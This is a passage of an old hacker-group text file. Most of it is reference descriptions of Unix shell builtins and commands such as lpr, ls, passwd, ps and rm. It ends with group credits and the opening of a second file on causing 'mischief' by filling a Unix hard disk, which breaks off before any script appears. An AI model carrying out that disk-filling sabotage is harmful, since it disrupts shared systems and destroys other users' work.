of n outside this range set the value to the lower, or to the higher boundary,
respectively.
+n
Increment the process priority value by n.
-n
Decrement by n. This argument can be used only by the super-user.
nohup [ command ]
Run command with HUPs ignored. With no arguments, ignore HUPs throughout the remainder
of a script. When given, command is always run in a subshell, and the restrictions
placed on commands in simple if commands apply. All processes detached with & are
effectively nohup'd.
notify [ %job ] ...
Notify the user asynchronously when the status of the current, or of specified jobs,
changes.
onintr [ - | label]
Control the action of the shell on interrupts. With no arguments, onintr restores
the default action of the shell on interrupts. (The shell terminates shell scripts
and returns to the terminal command input level). With the - argument, the shell
ignores all interrupts. With a label argument, the shell executes
a goto label when an interrupt is received or a child process terminates because it
was interrupted.
popd [+n]
Pop the directory stack, and cds to the new top directory. The elements of the directory
stack are numbered from 0 starting at the top.
+n
Discard the n'th entry in the stack.
pushd [+n | dir]
Push a directory onto the directory stack. With no arguments, exchange the top two
elements.
+n
Rotate the n'th entry to the top of the stack and cd to it. dir Push the current working
directory onto the stack and change to dir.
rehash
Recompute the internal hash table of the contents of directories listed in the path
variable to account for new commands added.
repeat count command
Repeat command count times command is subject to the same restrictions as with the
one-line if statement.
set [var [ = value ] ]
set var[n] = word
With no arguments, set displays the values of all shell variables. Multiword values
are displayed as a parenthesized list. With the var argument alone, set assigns an
empty (null) value to the variable var. With arguments of the form var = value set
assigns value to var, where value is one of:
word
A single word (or quoted string). (wordlist) A space-separated list of words
enclosed in parentheses.
Values are command and filename expanded before being assigned. The form set var[n]
= word replaces the n'th word in a multiword value with word.
setenv [ VAR [ word ] ]
With no arguments, setenv displays all environment variables. With the VAR argument
sets the environment variable VAR to have an empty (null) value. (By convention,
environment variables are normally given upper-case names.) With both VAR and word
arguments setenv sets the environment variable NAME to the value word, which must
be either a single word or a quoted string. The most commonly used environment
variables, USER, TERM, and PATH, are automatically imported to and exported from the
csh variables user, term, and path; there is no need
to use setenv for these. In addition, the shell sets the PWD environment variable
from the csh variable cwd whenever the latter changes.
shift [ variable ]
The components of argv, or variable, if supplied, are shifted to the left, discarding
the first component. It is an error for the variable not to be set, or to have a null
value.
source [ -h ] name
Reads commands from name. source commands may be nested, but if they are nested too
deeply the shell may run out of file descriptors. An error in a sourced file at any
level terminates all nested source commands.
-h
Place commands from the file name on the history list without executing them.
stop [%job] ...
Stop the current or specified background job.
suspend Stop the shell in its tracks, much as if it had been sent a stop signal with
^Z. This is most often used to stop shells started by su.
switch (string)
case label:
...
breaksw
... default:
...
breaksw
endsw
Each label is successively matched, against the specified string, which is first
command and filename expanded. The file metacharacters *, ? and [...] may be used
in the case labels, which are variable expanded. If none of the labels match before
a "default" label is found, execution begins after the default label. Each case
statement and the default statement must appear at the beginning of a line. The command
breaksw continues execution after the endsw.
Otherwise control falls through
subsequent case and default statements as with C. If no label matches and there is
no default, execution continues after the endsw.
time [ command ]
With no argument, print a summary of time used by this C shell and its children. With
an optional command, execute command and print a summary of the time it uses.
umask [ value ]
Display the file creation mask. With value set the file creation mask. value is given
in octal, and is XORed with the permissions of 666 for files and 777 for directories
to arrive at the permissions for new files. Common values include 002, giving complete
access to the group, and read (and directory search) access to others, or 022, giving
read (and directory search) but not write permission to the group and others.
unalias pattern
Discard aliases that match (filename substitution) pattern. All aliases are removed
by unalias *.
unhash
Disable the internal hash table.
unlimit [ -h ] [ resource ]
Remove a limitation on resource. If no resource is specified, then all resource
limitations are removed. See the description of the limit command for the list of
resource names.
-h
Remove corresponding hard limits. Only the super-user may do this.
unset pattern
Remove variables whose names match (filename substitution) pattern. All variables
are removed by `unset *'; this has noticeably distasteful sideeffects.
unsetenv variable
Remove variable from the environment. Pattern matching, as with unset is not
performed.
wait
Wait for background jobs to finish (or for an interrupt) before prompting.
while (expr)
...
end
While expr is true (evaluates to non-zero), repeat commands between the while and
the matching end statement. break and continue may be used to terminate or continue
the loop prematurely. The while and end must appear alone on their input lines. If
the shell's input is a terminal, it prompts for commands with a question-mark until
the end command is entered and then performs the commands in the loop.
%[ job ] [ & ]
Bring the current or indicated job to the foreground. With the ampersand, continue
running job in the background.
@ [ var =expr ]
@ [ var[n] =expr ]
With no arguments, display the values for all shell variables. With arguments, the
variable var, or the n'th word in the value of var, to the value that expr evaluates
to. (If [n] is supplied, both var and its n'th component must already exist.)
If the expression contains the characters >, <, & or |, then at least this part of
expr must be placed within parentheses.
The operators *=, +=, etc., are available as in C. The space separating the name from
the assignment operator is optional. Spaces are, however, mandatory in separating
components of expr that would otherwise be single words.
Special postfix operators, ++ and -- increment or decrement name, respectively.
lpq: lpq displays the contents of a printer queue. It reports the status of jobs
specified by job#, or all jobs owned by the user specified by username. lpq reports
on all jobs in the default printer queue when invoked with no arguments.
For each print job in the queue, lpq reports the user's name, current position, the
names of input files comprising the job, the job number (by which it is referred to
when using lprm(1)) and the total size in bytes. Normally, only as much information
as will fit on one line is displayed. Jobs are normally queued on a first-in-first-out
basis. Filenames comprising a job may be unavailable, such as when lpr is used at
the end of a pipeline; in such cases the filename field indicates ``(standard input)''.
If lpq warns that there is no daemon present (that is, due to some malfunction), the
lpc(8) command can be used to restart a printer daemon.
-P printer
Display information about the queue for the specified printer. In the absence of the
-P option, the queue to the printer specified by the PRINTER variable in the
environment is used. If the PRINTER variable isn't set, the queue for the default
printer is used.
-l
Display queue information in long format; includes the name of the host from which
the job originated.
+[ interval ]
Display the spool queue periodically until it empties. This option clears the terminal
screen before reporting on the queue. If an interval is supplied, lpq sleeps that
number of seconds in between reports.
lpr: lpr creates a printer job in a spooling area for subsequent printing as facilities
become available. Each printer job consists of a control file and one or more data
files. The data files are copies of (or, with -s , symbolic links to) each filename
you specify. The spool area is managed by the line printer
daemon, lpd(8). Jobs that specify a printer on a remote machine are forwarded by lpd.
lpr reads from the standard input if no files are specified.
-Pprinter
Send output to the named printer. Otherwise send output to the printer named in the
PRINTER environment variable, or to the default printer, lp.
-#copies
Produce the number of copies indicated for each named file. For example:
example% lpr -#3 index.c lookup.c
produces three copies of index.c, followed by three copies of lookup.c. On the other
hand,
example% cat index.c lookup.c | lpr -#3
generates three copies of the concatenation of the files.
-Cclass
Print class as the job classification on the burst page. For example,
example% lpr -C Operations new.index.c
replaces the system name (the name returned by hostname) with "Operations" on the
burst page, and prints the file new.index.c.
-Jjob
Print job as the job name on the burst page. Normally, lpr uses the first file's name.
-Ttitle
Use title instead of the file name for the title used by pr(1V).
-i[ indent ]
Indent output indent SPACE characters. Eight SPACE characters is the default. The
indent is passed to the input filter. If no input filter is present, this option is
ignored. -1 font -2 font -3 font -4 font
Mount the specified font on font position 1, 2, 3 or 4. The daemon will construct
a .railmag file in the spool directory that indicates the mount by referencing
/usr/lib/vfont/font.
-wcols
Use cols as the page width for pr.
-r
Remove the file upon completion of spooling, or upon completion of printing with the
-s option.
-m
Send mail upon completion.
-h
Suppress printing the burst page.
-s
Create a symbolic link from the spool area to the data files rather than trying to
copy them (so large files can be printed). This means the data files should not be
modified or removed until they have been printed. This option can be used to avoid
truncating files larger than the maximum given in the mx capability of the printcap(5)
entry. -s only prevents copies of local files from being made. Jobs from remote hosts
are copied anyway. -s only works with named data files; if the lpr command is at the
end of a pipeline, the data is copied to the spool.
filter-option The following single letter options notify the line printer spooler
that the files are not standard text files. The spooling daemon will use the
appropriate filters to print the data accordingly.
-p
Use pr to format the files (lpr -p is very much like `pr | lpr'). -l Print control
characters and
suppress page breaks. -t The
files
contain
troff(1) (cat
phototypesetter) binary data. -n The files contain data from ditroff (device
independent troff). -d The files contain data from tex (DVI format from Stanford).
-g The files contain standard plot data as produced by the plot(3X) routines (see
also plot(1G) for the filters used by the printer spooler). -v The files contain a
raster image, see rasterfile(5). The printer must support an appropriate imaging model
such as PostScript in order to print the image. -c The files contain data produced
by cifplot. -f Interpret the first character of each line as a standard FORTRAN
carriage control character.
If no filter-option is given (and the printer can interpret PostScript), the string
`%!' as the first two characters of a file indicates that it contains PostScript
commands.
These filter options offer a standard user interface, and all options may not be
available for, nor applicable to, all printers.
lprm: lprm removes a job or jobs from a printer's spooling queue. Since the spool
directory is protected from users, using lprm is normally the only method by which
a user can remove a job.
Without any arguments, lprm deletes the job that is currently active, provided that
the user who invoked lprm owns that job.
When the super-user specifies a username, lprm removes all jobs belonging to that
user.
You can remove a specific job by supplying its job number as an argument, which you
can obtain using lpq(1). For example:
example% lpq -Phost
host is ready and printing
Rank Owner Job Files Total Size active wendy 385 standard input 35501 bytes example%
lprm
-Phost 385
lprm reports the names of any files it removes, and is silent if there are no applicable
jobs to remove.
lprm kills the active printer daemon, if necessary, before removing spooled jobs;
it restarts the daemon when through.
-Pprinter
Specify the queue associated with a specific printer. Otherwise the value of the
PRINTER variable in the environment is used. If this variable is unset, the queue
for the default printer is used.
Remove all jobs owned by you. If invoked by the super-user, all jobs in the spool
are removed. (Job ownership is determined by the user's login name and host name on
the machine where the lpr command was invoked).
ls: -a, --all
List all files in directories, including all files that start with `.'.
-b, --escape
Quote nongraphic characters in file names using alphabetic and octal backslash
sequences like those used in C.
-c, --time=ctime, --time=status
Sort directory contents according to the files' status change time instead of the
modification time. If the long listing format is being used, print the status change
time instead of the modification time.
-d, --directory
List directories like other files, rather than listing their contents.
-f
Do not sort directory contents; list them in whatever order they are stored on the
disk. The same as enabling -a and -U and disabling -l, -s, and -t.
--full-time
List times in full, rather than using the standard abbreviation heuristics.
-g
Ignored; for Unix compatibility.
-i, --inode
Print the index number of each file to the left of the file name.
-k, --kilobytes
If file sizes are being listed, print them in kilobytes. This overrides the environment
variable POSIXLY_CORRECT.
-l, --format=long, --format=verbose
In addition to the name of each file, print the file type, permissions, number of
hard links, owner name, group name, size in bytes, and timestamp (the modification
time unless other times are selected). For files with a time that is more than 6 months
old or more than 1 hour into the future, the timestamp contains the year instead of
the time of day.
-m, --format=commas
List files horizontally, with as many as will fit on each line, separated by commas.
-n, --numeric-uid-gid
List the numeric UID and GID instead of the names.
-p
Append a character to each file name indicating the file type.
-q, --hide-control-chars
Print question marks instead of nongraphic characters in file names.
-r, --reverse
Sort directory contents in reverse order.
-s, --size
Print the size of each file in 1K blocks to the left of the file name. If the environment
variable POSIXLY_CORRECT is set, 512-byte blocks are used instead.
-t, --sort=time
Sort directory contents by timestamp instead of alphabetically, with the newest files
listed first.
-u, --time=atime, --time=access, --time=use
Sort directory contents according to the files' last access time instead of the
modification time. If the long listing format is being used, print the last access
time instead of the modification
time.
-x, --format=across, --format=horizontal
List the files in columns, sorted horizontally.
-A, --almost-all
List all files in directories, except for `.' and `..'.
-B, --ignore-backups
Do not list files that end with `~', unless they are given on the command line.
-C, --format=vertical
List files in columns, sorted vertically.
-F, --classify
Append a character to each file name indicating the file type. For regular files
that are executable, append a `*'. The file type indicators are `/' for directories,
`@' for symbolic links, `|' for FIFOs, `=' for sockets, and nothing for regular files.
-G, --no-group
Inhibit display of group information in a long format directory listing.
-L, --dereference
List the files linked to by symbolic links instead of listing the contents of the
links.
-N, --literal
Do not quote file names.
-Q, --quote-name
Enclose file names in double quotes and quote nongraphic characters as in C.
-R, --recursive
List the contents of all directories recursively.
-S, --sort=size
Sort directory contents by file size instead of alphabetically, with the largest files
listed first.
-U, --sort=none
Do not sort directory contents; list them in whatever order they are stored on the
disk. This option is not called -f because the Unix ls -f option also enables -a and
disables -l, -s, and -t. It seems useless and ugly to group those unrelated things
together in one option. Since this option doesn't do that, it has a different name.
-X, --sort=extension
Sort directory contents alphabetically by file extension (characters after the last
`.'); files with no extension are sorted first.
-1, --format=single-column
List one file per line.
-w, --width cols
Assume the screen is cols columns wide. The default is taken from the terminal driver
if possible; otherwise the environment variable COLUMNS is used if it is set; otherwise
the default is 80.
-T, --tabsize cols
Assume that each tabstop is cols columns wide. The default is 8.
-I, --ignore pattern
Do not list files whose names match the shell pattern pattern unless they are given
on the command line. As in the shell, an initial `.' in a filename does not match
a wildcard at the start of pattern.
--color, --colour, --color=yes, --colour=yes
Colorize the names of files depending on the type of file. See DISPLAY COLORIZATION
below.
--color=tty, --colour=tty
Same as --color but only if standard output is a terminal. This is very useful for
shell scripts and command aliases, especially if your favorite pager does not support
color control codes.
--color=no, --colour=no
Disables colorization. This is the default. Provided to override a previous color
option.
--help
Print a usage message on standard output and exit successfully.
--version
Print version information on standard output then exit successfully.
DISPLAY COLORIZATION
When using the --color option, this version of ls will colorize the file names printed
according to the name and type of file. By default, this colorization is by type only,
and the codes used are ISO 6429 (ANSI) compliant.
You can override the default colors by defining the environment variable LS_COLORS
(or LS_COLOURS). The format of this variable is reminicent of the termcap(5) file
format; a colon-separated list of expressions of the form "xx=string", where "xx"
is a two-character variable name. The variables with their associated defaults are:
no
0 Normal (non-filename) text
fi
0 Regular file di 32 Directory
ln
36 Symbolic link
pi
31 Named pipe (FIFO) so 33 Socket
bd
44;37 Block device
cd
44;37 Character device
ex
35 Executable file
mi
(none) Missing file (defaults to fi)
or
(none) Orphanned symbolic link (defaults to ln)
lc
\e[ Left code
rc
m Right code
ec
(none) End code (replaces lc+no+rc)
You only need to include the variables you want to change from the default.
File names can also be colorized based on filename extension. This is specified in
the LS_COLORS variable using the syntax "*ext=string". For example, using ISO 6429
codes, to color all C-language source files blue you would specify "*.c=34". This
would color all files ending in .c in blue (34) color.
Control characters can be written either in C-style \escaped notation, or in stty-like
^-notation. The C-style notation adds \e for Escape, \_ for a normal space characer,
and \? for Delete. In addition, the \ escape character can be used to override the
default interpretation of \, ^, : and =.
Each file will be written as <lc> <color code> <rc> <filename> <ec>. If the <ec> code
is undefined, the sequence <lc> <no> <rc> will be used instead. This is generally
more convenient to use, but less general. The left, right and end codes are provided
so you don't have to type common parts over and over again and to support weird
terminals; you will generally not need to change them at all unless your terminal
does not use ISO 6429 color sequences but a different system.
If your terminal does use ISO 6429 color codes, you can compose the type codes (i.e.
all except the lc, rc, and ec codes) from numerical commands separated by semicolons.
The most common commands are:
0
to restore default color
1
for brighter colors
4
for underlined text
5
for flashing text
30
for black foreground
31
for red foreground
32
for green foreground
33
for yellow (or brown) foreground
34
for blue foreground
35
for purple foreground
36
for cyan foreground
37
for white (or gray) foreground
40
for black background
41
for red background
42
for green background
43
for yellow (or brown) background
44
for blue background
45
for purple background
46
for cyan background
47
for white (or gray) background
Not all commands will work on all systems or display devices.
A few terminal programs do not recognize the default end code properly. If all text
gets colorized after you do a directory listing, try changing the no and fi codes
from 0 to the numerical codes for your standard fore- and background colors.
mail: mail is a comfortable, flexible, interactive program for composing, sending
and receiving electronic messages. While reading messages, mail provides you with
commands to browse, display, save, delete, and respond to messages. While sending
mail, mail allows editing and reviewing of messages being composed, and the inclusion
of text from files or other messages.
Incoming mail is stored in the system mailbox for each user. This is a file named
after the user in /var/spool/mail. mail normally looks in this file for incoming
messages, but you can use the MAIL environment variable to have it look in a different
file. When you read a message, it is marked to be moved to a secondary file for storage.
This secondary file, called the mbox, is normally the file
mbox in your home directory. This file can also be changed by setting the MBOX
environment variable. Messages remain in the mbox file until deliberately removed.
If no recipient is specified, mail attempts to read messages from the system mailbox.
-d
Turn on debugging output. (Neither particularly interesting nor recommended.)
-e
Test for presence of mail. If there is no mail, mail prints nothing and exits (with
a successful return code).
-F
Record the message in a file named after the first recipient. Override the record
variable, if set.
-H
Print header summary only.
-i
Ignore interrupts (as with the ignore variable).
-n
Do not initialize from the system default Mail.rc file.
-N
Do not print initial header summary.
-U
Convert uucp style addresses to Internet standards. Overrides the conv environment
variable.
-v
Pass the -v flag to sendmail(8).
-f [filename] Read messages from filename instead of system mailbox. If no filename
is specified, the mbox is used.
-f +folder
Use the file folder in the folder directory (same as the folder command). The name
of this directory is listed in the folder variable.
-h number
The number of network "hops" made so far. This is provided for network software to
avoid infinite delivery loops.
-r address
Pass address to network delivery software. All tilde (~) commands are disabled.
-s subject
Set the Subject header field to subject.
-T file
Print the contents of the article-id fields of all messages that were read or deleted
on file (for the use of network news programs if available).
-u user
Read user's system mailbox. This is only effective if user's system mailbox is not
read protected.
man: man displays information from the reference manuals. It can display complete
manual pages that you select by title, or one-line summaries selected either by keyword
(-k), or by the name of an associated file (-f).
A section, when given, applies to the titles that follow it on the command line (up
to the next section, if any). man looks in the indicated section of the manual for
those titles. section is either a digit (perhaps followed by a single letter indicating
the type of manual page), or one of the words new, local, old, or public. The
abbreviations n, l, o and p are also allowed. If section is omitted, man searches
all reference sections (giving preference to commands over functions) and prints the
first manual page it finds. If no manual page is located, man prints an error message.
The reference page sources are typically located in the /usr/man/man? directories.
Since these directories are optionally installed, they may not reside on your host;
you may have to mount /usr/man from a host on which they do reside. If there are
preformatted, up-to-date versions in corresponding cat? or fmt? directories, man
simply displays or prints those versions. If the
preformatted version of interest is out of date or missing, man reformats it prior
to display. If directories for the preformatted versions are not provided, man
reformats a page whenever it is requested; it uses a temporary file to store the
formatted text during display.
If the standard output is not a terminal, or if the `-' flag is given, man pipes its
output through cat(1V). Otherwise, man pipes its output through more(1) to handle
paging and underlining on the screen.
-t man arranges for the specified manual pages to be troffed to a suitable raster
output device (see troff(1) or vtroff(1)). If both the - and -t flags are given, man
updates the troffed versions of each named title (if necessary), but does not display
them.
-M path
Change the search path for manual pages. path is a colon-separated list of directories
that
contain
manual
page
directory
subtrees.
For
example,
/usr/man/u_man:/usr/man/a_man makes man search in the standard System V locations.
When used with the -k or -f options, the -M option must appear first. Each directory
in the path is assumed to contain subdirectories of the form man[1-8l-p].
-T macro-package
man uses macro-package rather than the standard -man macros defined in
/usr/lib/tmac/tmac.an for formatting manual pages.
-k keyword ...
man prints out one-line summaries from the whatis database (table of contents) that
contain any of the given keywords. The whatis database is created using the catman(8)
command with the -w option.
-f filename ...
man attempts to locate manual pages related to any of the given filenames. It strips
the leading pathname components from each filename, and then prints one-line summaries
containing the resulting basename or names. This option also uses the whatis database.
mkdir: mkdir creates directories. Standard entries, `.', for the directory itself,
and `..' for its parent, are made automatically.
The -p flag allows missing parent directories to be created as needed.
With the exception of the set-gid bit, the current umask(2V) setting determines the
mode in which directories are created. The new directory inherits the set-gid bit
of the parent directory. Modes may be modified after creation by using chmod(1V).
mkdir requires write permission in the parent directory.
more: more is a filter that displays the contents of a text file on the terminal,
one screenful at a time. It normally pauses after each screenful, and prints --More-at the bottom of the screen. more provides a two-line overlap between screens for
continuity. If more is reading from a file rather than a pipe, the percentage of
characters displayed so far is also shown.
more scrolls up to display one more line in response to a RETURN character; it displays
another screenful in response to a SPACE character. Other commands are listed below.
page clears the screen before displaying the next screenful of text; it only provides
a one-line overlap between screens.
more sets the terminal to noecho mode, so that the output can be continuous. Commands
that you type do not normally show up on your terminal, except for the / and ! commands.
If the standard output is not a terminal, more acts just like cat(1V), except that
a header is printed before each file in a series.
-c Clear before displaying. Redrawing the screen instead of scrolling for faster
displays. This option is ignored if the terminal does not have the ability to clear
to the end of a line.
-d
Display error messages rather than ringing the terminal bell if an unrecognized
command is used. This is helpful for inexperienced users.
-f
Do not fold long lines. This is useful when lines contain nonprinting characters or
escape sequences, such as those generated when nroff(1) output is piped through ul(1).
-l
Do not treat FORMFEED characters (CTRL-D) as "page breaks." If -l is not used, more
pauses to accept commands after any line containing a ^L character (CTRL-D). Also,
if a file begins with a FORMFEED, the screen is cleared before the file is printed.
-s
Squeeze. Replace multiple blank lines with a single blank line. This is helpful when
viewing nroff(1) output, on the screen.
-u
Suppress generation of underlining escape sequences. Normally, more handles
underlining, such as that produced by nroff(1), in a manner appropriate to the terminal.
If the terminal can perform underlining or has a stand-out mode, more supplies
appropriate escape sequences as called for in the text file.
-lines
Display the indicated number of lines in each screenful, rather than the default (the
number of lines in the terminal screen less two).
+linenumber
Start up at linenumber.
+/pattern
Start up two lines above the line containing the regular expression pattern. Note:
unlike editors, this construct should not end with a `/'. If it does, then the trailing
slash is taken as a character in the search pattern.
mv: mv moves files and directories around in the file system. A side effect of mv
is to rename a file or directory. The three major forms of mv are shown in the synopsis
above.
The first form of mv moves (changes the name of) filename1 to filename2. If filename2
already exists, it is removed before filename1 is moved. If filename2 has a mode which
forbids writing, mv prints the mode (see chmod(2V)) and reads the standard input to
obtain a line; if the line begins with y, the move takes place, otherwise mv exits.
The second form of mv moves (changes the name of) directory1 to directory2, only if
directory2 does not already exist if it does, the third form applies.
The third form of mv moves one or more filenames (may also be directories) with their
original names, into the last directory in the list.
mv refuses to move a file or directory onto itself.
Interpret all the following arguments to mv as file names. This allows file names
starting with minus.
-f
Force. Override any mode restrictions and the -i option. The -f option also suppresses
any warning messages about modes which would potentially restrict overwriting.
-i
Interactive mode. mv displays the name of the file or directory followed by a question
mark whenever a move would replace an existing file or directory. If you type a line
starting with y, mv moves the specified file or directory, otherwise mv does nothing
with that file or directory.
passwd: passwd changes (or installs) a password, login shell (-s option), or full
name (-f option) associated with the user username (your own by default). chsh is
equivalent to passwd with the -s option, and chfn is equivalent to passwd with the
-f option.
Use `passwd -y' or yppasswd(1) to change your password in the Network Information
Service (NIS). This will not affect your local password, or your password on any remote
machines on which you have accounts. passwd calls yppasswd automatically if you do
not have an entry in the local passwd file, and the -l option is not specified.
When changing a password, passwd prompts for the old password and then for the new
one. You must supply both, and the new password must be typed twice to forestall
mistakes.
If password aging is enabled, the first time an ordinary user enters the new password
passwd checks to see if the old password has "aged" sufficiently. Password "aging"
is the amount of time (usually a certain number of days) that must elapse between
password changes. If "aging" is insufficient the new password is rejected and passwd
terminates.
New passwords should be at least five characters long, if they combine upper-case
and lower-case letters, or at least six characters long if in monocase. Users that
persist in entering shorter passwords are compromising their own security. The number
of significant characters in a password is eight, although longer passwords will be
accepted.
Only the owner of the name or the super-user may change a password; the owner must
prove he knows the old password. The super-user can change any password and is not
forced to comply with password aging requirements.
When changing a login shell, passwd displays the current login shell and then prompts
for the new one. The new login shell must be one of the approved shells listed in
/etc/shells unless you are the super-user. If /etc/shells does not exist, the only
shells that may be specified are /bin/sh and /bin/csh.
The super-user may change anyone's login shell; normal users may only change their
own login shell.
When changing a full name, passwd displays the current full name, enclosed between
brackets, and prompts for a new full name. If you type a RETURN, the full name is
not changed. If the full name is to be made blank, you must type the word "none".
The super-user may change anyone's full name; normal users may only change their own.
-a Display the name and aging information for all users. Can only be invoked by the
super-user.
-f
Change the full name.
-l
Change the local password, login shell, or full name. If username exists in the local
passwd file, this is the default.
-s
Change the login shell.
-y
Change passwd, login shell, or full name in the NIS database.
-d [username]
Display the name and aging information for the caller or the user specified if the
invoker has the right privileges.
-e username
Expire the password for the user name specified. Can only be invoked by the super-user.
-F filename
Treat filename as the password file.
-n numdays username
Set the maturity time of the password for username. Passwords that have not "aged"
enough cannot be changed. Can only be set by the super-user.
-x numdays username
Set the expiration time of the password for username. Can only be set by the super-user.
ps: ps displays information about processes. Normally, only those processes that are
running with your effective user ID and are attached to a controlling terminal (see
termio(4)) are shown. Additional categories of processes can be added to the display
using various options. In particular, the -a option allows you to include processes
that are not owned by you (that do not have your user ID), and the -x option allows
you to include processes without control terminals. When you specify both -a and -x,
you get processes owned by anyone, with or without a control terminal. The -r option
restricts the list of processes printed to "running" processes: runnable processes,
those in page wait, or those in short-term non-interruptible waits.
ps displays the process ID, under PID; the control terminal (if any), under TT; the
cpu time used by the process so far, including both user and system time), under TIME;
the state of the process, under STAT; and finally, an indication of the COMMAND that
is running.
The state is given by a sequence of four letters, for example, `RWNA'.
First letter indicates the runnability of the process:
R
Runnable processes.
T
Stopped processes.
P
Processes in page wait.
D
Processes in non-interruptible waits; typically short-term waits for disk or NFS I/O.
S
Processes sleeping for less than about 20 seconds.
I
Processes that are idle (sleeping longer than about 20 seconds).
Z
Processes that have terminated and that are waiting for their parent process to do
a wait(2V) ("zombie" processes).
Second letter indicates whether a process is swapped out; blank Represented as a SPACE
character, in this position indicates that the process is loaded (in memory).
W
Process is swapped out.
>
Process has specified a soft limit on memory requirements and has exceeded that limit;
such a process is (necessarily) not swapped.
Third letter indicates whether a process is running with altered CPU scheduling
priority (nice(1)): blank Represented as a SPACE character, in this position indicates
that the process is running without special treatment.
N
The process priority is reduced,
<
The process priority has been raised artificially.
Fourth letter indicates any special treatment of the process for virtual memory
replacement. The letters correspond to options to the vadvise(2) system call.
Currently the possibilities are: blank Represented as a SPACE character, in this
position stands for VA_NORM.
A
Stands for VA_ANOM. An A typically represents a program which is doing garbage
collection.
S
Stands for VA_SEQL. An S is typical of large image processing programs that are using
virtual memory to sequentially address voluminous data.
kernel-name specifies the location of the system namelist. If the -k option is given,
c-dump-file tells ps where to look for the core dump. Otherwise, the core dump is
located in the file /vmcore and this argument is ignored. swap-file gives the location
of a swap file other than the default, /dev/drum.
pwd: pwd prints the pathname of the working (current) directory.
If you are using csh(1), you can use the dirs builtin command to do the same job more
quickly; but dirs can give a different answer in the rare case that the current
directory or a containing directory was moved after the shell descended into it. This
is because pwd searches back up the directory tree to report the true pathname, whereas
dirs remembers the pathname from the last cd(1)
command. The example below illustrates the differences.
example% cd /usr/wendy/january/reports example% pwd
/usr/wendy/january/reports
example% dirs
~/january/reports
example% mv ~/january ~/february
example% pwd
/usr/wendy/february/reports
example% dirs
~/january/reports
example%
pwd and dirs also give different answers when you change directory through a symbolic
link. For example:
example% cd /usr/wendy/january/reports example% pwd
/usr/wendy/january/reports
example% dirs
~/january/reports
example% ls -l /usr/wendy/january
lrwxrwxrwx 1 wendy 17 Jan 30 1983 /usr/wendy/january -> /usr/wendy/1984/jan/ example%
cd
/usr/wendy/january
example% pwd
/usr/wendy/1984/jan
example% dirs
/usr/wendy/january
The pathnames of files mounted with the Automounter can also change if the file is
not used for a certain time interval (the default is five minutes).
rm: rm removes (directory entries for) one or more files. If an entry was the last
link to the file, the contents of that file are lost. See ln(1V) for more information
about multiple links to files.
To remove a file, you must have write permission in its directory; but you do not
need read or write permission on the file itself. If you do not have write permission
on the file and the standard input is a terminal, rm displays the file's permissions
and waits for you to type in a response. If your response
begins with y the file is deleted; otherwise the file is left alone.
rmdir removes each named directory. rmdir only removes empty directories.
Treat the following arguments as filenames `-' so that you can specify filenames
starting with a minus.
-f
Force files to be removed without displaying permissions, asking questions or
reporting errors.
-i
Ask whether to delete each file, and, under -r, whether to examine each directory.
Sometimes called the interactive option.
-r
Recursively delete the contents of a directory, its subdirectories, and the directory
itself.
rmdir: rm removes (directory entries for) one or more files. If an entry was the last
link to the file, the contents of that file are lost. See ln(1V) for more information
about multiple links to files.
To remove a file, you must have write permission in its directory; but you do not
need read or write permission on the file itself. If you do not have write permission
on the file and the standard input is a terminal, rm displays the file's permissions
and waits for you to type in a response. If your response
begins with y the file is deleted; otherwise the file is left alone.
rmdir removes each named directory. rmdir only removes empty directories.
Treat the following arguments as filenames `-' so that you can specify filenames
starting with a minus.
-f
Force files to be removed without displaying permissions, asking questions or
reporting errors.
-i
Ask whether to delete each file, and, under -r, whether to examine each directory.
Sometimes called the interactive option.
-r
Recursively delete the contents of a directory, its subdirectories, and the directory
itself.
spell: spell collects words from the named files, and looks them up in a hashed spelling
list. Words that do not appear in the list, or cannot be derived from those that do
appear by applying certain inflections, prefixes or suffixes, are displayed on the
standard output.
If there are no filename arguments, words to check are collected from the standard
input. spell ignores most troff(1), tbl(1), and eqn(1) constructs. Copies of all
output words are accumulated in the history file, and a stop list filters out
misspellings (for example, their=thy-y+ier) that would otherwise pass.
By default, spell (like deroff(1)) follows chains of included files (.so and .nx
troff(1) requests), unless the names of such included files begin with /usr/lib.
If a +local_file argument is specified, words found in local_file are removed from
spell's output. local_file is the name of a user-provided file that contains a sorted
list of words, one per line. With this option, the user can specify a set of words
that are correct spellings (in addition to spell's own
spelling list) for each job.
The standard spelling list is based on many sources, and while more haphazard than
an ordinary dictionary, is also more effective in respect to proper names and popular
technical words. Coverage of the specialized vocabularies of biology, medicine and
chemistry is light.
Three programs help maintain and check the hash lists used by spell:
hashmake
Reads a list of words from the standard input and writes the corresponding nine-digit
hash code on the standard output.
spellin
Reads n hash codes from the standard input and writes a compressed spelling list on
the standard output.
hashcheck Reads a compressed spelling_list and recreates the nine-digit hash codes
for all the words in it; it writes these codes on the standard output.
-b
Check British spelling. Besides preferring "centre", "colour", "programme",
"speciality", "travelled", and so on, this option insists upon -ise in words like
standardize, despite what Fowler and the OED say.
-l
Follow the chains of all included files.
-v
Print all words not literally in the spelling list, as well as plausible derivations
from spelling list words.
-x
Print every plausible stem with `=' for each word.
-d hlist
Use the file hlist as the hashed spelling list.
-h spellhist
Place misspelled words with a user/date stamp in file spellhist.
-s hstop
Use hstop as the hashed stop list.
Not all command descriptions were listed here. But look for the update to this text,
it will have more commands and more descriptions. This text file was just one of the
many files made by The Psychotic Internet Services.
* Data Kult *
ーイーイーイーイーイーイーイーイー
* Kryptic Night *
Lord Logics
イー
Raising
ーイ
Bounty Hunter
Shadow Walker
ーイ
Hell
イー
Nacht Habicht
- S M C -
イー with Unix ーイ
- S M C -
Realm of Infinity
ーイ Kryptic Night イー
The Viking's Den
(503)629-0814
イーイーイーイーイーイーイーイーイ
(408)867-1224
SMC Home
- S M C -
Western Dist.
Production # 3
トトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトト
I
- Introduction
This file will describe several ways to cause mischief on a Unix system.
Like the other SMC Productions, I will try to present the information at a
beginners level. However, all levels of hackers should benefit in some way
from the information contained within. And now... on with our show...
II - How To Fill a Hard Disk
There are several ways to cause havoc by filling up a systems hard
disk. Filling up a hard disk will make it so that the system cannot create
the temporary files vital to it's efficient use. It will also cause other
problems, such as a person trying to save a 10 page financial report, and
finding that there is no room for it. Also, if the HD is full, the system
will not run properly. You will be bombarded by a continuous stream of
'write failed, file system is full'. Over all, this is a very good way to
piss people off.
Step One
Create the following file with the 'ed [filename]' utility under the
bourne shell, or the 'edit [filename]' under the C shell. The filename can
be whatever you want, here I will call it 'hah1'. Only type in what is
